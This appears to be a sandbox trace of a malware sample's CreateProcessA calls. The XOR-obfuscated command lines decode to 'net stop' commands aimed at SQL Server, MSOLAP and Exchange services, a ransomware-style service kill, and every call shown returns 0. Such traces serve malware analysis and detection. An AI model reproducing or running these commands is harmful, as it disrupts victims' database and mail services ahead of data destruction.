	[0092.485] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÜáúñø÷þüÊËʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÜáúñø÷þüÊËʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.486] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÖÕØɽÊÈÕÆ«©©¡¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÖÕØɽÊÈÕÆ«©©¡¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.486] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÖÕØɽÊÀÊÍÜÔÆÛÞÚ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÖÕØɽÊÀÊÍÜÔÆÛÞÚ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.487] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÖÕØɽÍÉʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÖÕØɽÍÉʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.487] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÖÕØɽÍÉÊØÔع¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÖÕØɽÍÉÊØÔع¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.487] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÛÒÌÉÜÁÜÚ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÛÒÌÉÜÁÜÚ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.488] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÜÚÎÝÛ«¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÜÚÎÝÛ«¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.488] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÉËØÚÍÐÚÜÔÞ͹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÉËØÚÍÐÚÜÔÞ͹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.489] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÉËØÚÍÍÐÚÜÛÞÚ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÉËØÚÍÍÐÚÜÛÞÚ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.489] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÉËÖßÁÜ×ÞØÞÜÔÜ×͹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÉËÖßÁÜ×ÞØÞÜÔÜ×͹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.490] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÊÛÊÔÖ×ÐÍÖËÐ×Þ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÊÛÊÔÖ×ÐÍÖËÐ×Þ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.490] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÊÑØËÜÉÖÐ×͹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÊÑØËÜÉÖÐ×͹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.490] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÊÈÕÆ«©©¡¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÊÈÕÆ«©©¡¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.491] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÊÀÊÍÜÔÆÛÞÚ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÊÀÊÍÜÔÆÛÞÚ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.500] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÍÉʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÍÉʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.500] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÍÉÊØÔع¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÍÉÊØÔع¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.501] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÏÜÜØÔÊÈÕ«©©¡Ë«¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÏÜÜØÔÊÈÕ«©©¡Ë«¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.501] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÏÜÜØÔÊÈÕ«©¨«¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕ½ÏÜÜØÔÊÈÕ«©¨«¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.501] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñü빶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñü빶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.502] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÉËÖßÁÜ×ÞØÞÜÔÜ×͹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÉËÖßÁÜ×ÞØÞÜÔÜ×͹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.502] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÊÛÊÔÖ×ÐÍÖËÐ×Þ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÊÛÊÔÖ×ÐÍÖËÐ×Þ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.503] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÊÑØËÜÉÖÐ×͹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÊÑØËÜÉÖÐ×͹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.503] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÊÈÕÆ«©©¡¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÊÈÕÆ«©©¡¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.503] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÊÀÊÍÜÔÆÛÞÚ¹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÊÀÊÍÜÔÆÛÞÚ¹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.504] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÍÉʹ¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÍÉʹ¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.504] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÍÉÊØÔع¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕßÝÕøì÷úñüë½ÍÉÊØÔع¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
	[0092.505] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕÊÜËÏÜ˹¶à\x99", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x136f740*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x136f788 | out: lpCommandLine="úôý·üáü¹¶ú¹÷üí¹êíöé¹ÔÊÊÈÕÊÜËÏÜ˹¶à\x99", lpProcessInformation=0x136f788*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0
